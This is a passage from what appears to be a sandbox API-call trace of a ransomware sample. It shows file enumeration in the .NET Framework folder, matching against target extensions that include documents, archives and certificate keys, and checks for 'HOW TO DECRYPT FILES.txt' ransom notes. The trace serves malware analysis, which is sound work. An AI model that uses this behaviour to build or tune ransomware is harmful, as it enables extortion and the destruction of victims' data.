(lpString="*.pptx") returned 6 [0136.010] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.configuration.dll", pszSpec="*.doc") returned 0 [0136.010] lstrlenA (lpString="*.doc") returned 5 [0136.010] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.configuration.dll", pszSpec="*.dot") returned 0 [0136.010] lstrlenA (lpString="*.dot") returned 5 [0136.010] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.configuration.dll", pszSpec="*.docx") returned 0 [0136.010] lstrlenA (lpString="*.docx") returned 6 [0136.010] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.configuration.dll", pszSpec="*.7z") returned 0 [0136.010] lstrlenA (lpString="*.7z") returned 4 [0136.010] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.configuration.dll", pszSpec="*.tar") returned 0 [0136.010] lstrlenA (lpString="*.tar") returned 5 [0136.010] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.configuration.dll", pszSpec="*.bz2") returned 0 [0136.010] lstrlenA (lpString="*.bz2") returned 5 [0136.010] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.configuration.dll", pszSpec="*.gz") returned 0 [0136.010] lstrlenA (lpString="*.gz") returned 4 [0136.010] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.configuration.dll", pszSpec="*.mkv") returned 0 [0136.010] lstrlenA (lpString="*.mkv") returned 5 [0136.010] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.configuration.dll", pszSpec="*.eml") returned 0 [0136.010] lstrlenA (lpString="*.eml") returned 5 [0136.010] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.configuration.dll", pszSpec="*.msg") returned 0 [0136.010] lstrlenA (lpString="*.msg") returned 5 [0136.010] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.configuration.dll", pszSpec="*.edb") returned 0 [0136.011] lstrlenA (lpString="*.edb") returned 5 [0136.011] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.configuration.dll", pszSpec="*.accdb") returned 0 [0136.011] lstrlenA (lpString="*.accdb") returned 7 [0136.011] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.configuration.dll", pszSpec="*.odb") returned 0 [0136.011] lstrlenA (lpString="*.odb") returned 5 [0136.011] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.configuration.dll", pszSpec="*.java") returned 0 [0136.011] lstrlenA (lpString="*.java") returned 6 [0136.011] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.configuration.dll", pszSpec="*.asm") returned 0 [0136.011] lstrlenA (lpString="*.asm") returned 5 [0136.011] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.configuration.dll", pszSpec="*.pfx") returned 0 [0136.011] lstrlenA (lpString="*.pfx") returned 5 [0136.011] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.configuration.dll", pszSpec="*.pem") returned 0 [0136.011] lstrlenA (lpString="*.pem") returned 5 [0136.011] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.configuration.dll", pszSpec="*.p12") returned 0 [0136.011] lstrlenA (lpString="*.p12") returned 5 [0136.011] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.configuration.dll", pszSpec="*.gpg") returned 0 [0136.011] lstrlenA (lpString="*.gpg") returned 5 [0136.011] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.configuration.dll", pszSpec="*.vsd") returned 0 [0136.012] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8764527d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8764527d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8779bedf, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x14000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Configuration.Install.dll", cAlternateFileName="")) returned 1 [0136.012] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0136.012] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Configuration.Install.dll") returned -1 [0136.012] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Configuration.Install.dll") returned -1 [0136.012] lstrcmpiA (lpString1="", lpString2="System.Configuration.Install.dll") returned -1 [0136.012] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.configuration.dll") returned="System.configuration.dll" [0136.012] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0136.012] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0136.012] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" [0136.012] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\how to decrypt files.txt")) returned 0x20 [0136.013] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="System.Configuration.Install.dll" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.Configuration.Install.dll") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.Configuration.Install.dll" [0136.013] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ec3f5b6, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ec3f5b6, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ec8b877, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2cac00, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.dll", cAlternateFileName="")) returned 1 [0136.013] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0136.013] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Data.dll") returned -1 [0136.013] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Data.dll") returned -1 [0136.013] lstrcmpiA (lpString1="", lpString2="System.Data.dll") returned -1 [0136.013] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.Configuration.Install.dll") returned="System.Configuration.Install.dll" [0136.013] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0136.014] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0136.014] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" [0136.014] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\how to decrypt files.txt")) returned 0x20 [0136.014] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="System.Data.dll" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.Data.dll") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.Data.dll" [0136.014] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92ddb48f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92ddb48f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92ddb48f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.OracleClient.dll", cAlternateFileName="")) returned 1 [0136.014] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0136.014] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Data.OracleClient.dll") returned -1 [0136.014] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Data.OracleClient.dll") returned -1 [0136.014] lstrcmpiA (lpString1="", lpString2="System.Data.OracleClient.dll") returned -1 [0136.014] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.Data.dll") returned="System.Data.dll" [0136.014] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0136.014] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0136.014] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" [0136.015] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\how to decrypt files.txt")) returned 0x20 [0136.015] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="System.Data.OracleClient.dll" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.Data.OracleClient.dll") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.Data.OracleClient.dll" [0136.015] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bbbf51d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bbbf51d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bbe567d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.SqlXml.dll", cAlternateFileName="")) returned 1 [0136.015] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0136.015] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Data.SqlXml.dll") returned -1 [0136.015] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Data.SqlXml.dll") returned -1 [0136.015] lstrcmpiA (lpString1="", lpString2="System.Data.SqlXml.dll") returned -1 [0136.015] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.Data.OracleClient.dll") returned="System.Data.OracleClient.dll" [0136.015] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0136.015] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0136.015] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" [0136.015] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\how to decrypt files.txt")) returned 0x20 [0136.015] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="System.Data.SqlXml.dll" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.Data.SqlXml.dll") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.Data.SqlXml.dll" [0136.016] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d135b7c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d135b7c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d15bcdc, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xed000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Deployment.dll", cAlternateFileName="")) returned 1 [0136.016] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0136.016] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Deployment.dll") returned -1 [0136.016] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Deployment.dll") returned -1 [0136.016] lstrcmpiA (lpString1="", lpString2="System.Deployment.dll") returned -1 [0136.016] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.Data.SqlXml.dll") returned="System.Data.SqlXml.dll" [0136.016] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0136.016] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0136.016] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" [0136.016] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\how to decrypt files.txt")) returned 0x20 [0136.016] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="System.Deployment.dll" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.Deployment.dll") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.Deployment.dll" [0136.016] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97f3c545, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x97f3c545, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x982f47ac, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4b3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Design.dll", cAlternateFileName="")) returned 1 [0136.016] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0136.017] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.Deployment.dll") returned="System.Deployment.dll" [0136.017] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0136.017] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0136.017] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" [0136.017] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\how to decrypt files.txt")) returned 0x20 [0136.017] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="System.Design.dll" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.Design.dll") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.Design.dll" [0136.017] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d1ce0fd, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d1ce0fd, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d1f425d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x62000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.DirectoryServices.dll", cAlternateFileName="")) returned 1 [0136.017] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0136.017] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.Design.dll") returned="System.Design.dll" [0136.017] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0136.017] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0136.017] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" [0136.017] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\how to decrypt files.txt")) returned 0x20 [0136.017] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="System.DirectoryServices.dll" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.DirectoryServices.dll") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.DirectoryServices.dll" [0136.018] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25fc99a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x25fc99a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0xac4cf85c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x2e000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.DirectoryServices.Protocols.dll", cAlternateFileName="")) returned 1 [0136.018] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0136.018] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.DirectoryServices.dll") returned="System.DirectoryServices.dll" [0136.018] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0136.018] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0136.018] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" [0136.018] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\how to decrypt files.txt")) returned 0x20 [0136.018] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="System.DirectoryServices.Protocols.dll" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.DirectoryServices.Protocols.dll") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.DirectoryServices.Protocols.dll" [0136.018] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x850a1657, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x850a1657, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x853e749d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x30b000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.dll", cAlternateFileName="")) returned 1 [0136.019] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0136.019] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.DirectoryServices.Protocols.dll") returned="System.DirectoryServices.Protocols.dll" [0136.019] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0136.019] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0136.019] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" [0136.019] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\how to decrypt files.txt")) returned 0x20 [0136.019] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="System.dll" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.dll") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.dll" [0136.019] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30fef10, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x30fef10, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0xac64c61c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x14000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Drawing.Design.dll", cAlternateFileName="")) returned 1 [0136.019] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0136.019] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.dll") returned="System.dll" [0136.019] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0136.019] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0136.019] lstrcatA (in: 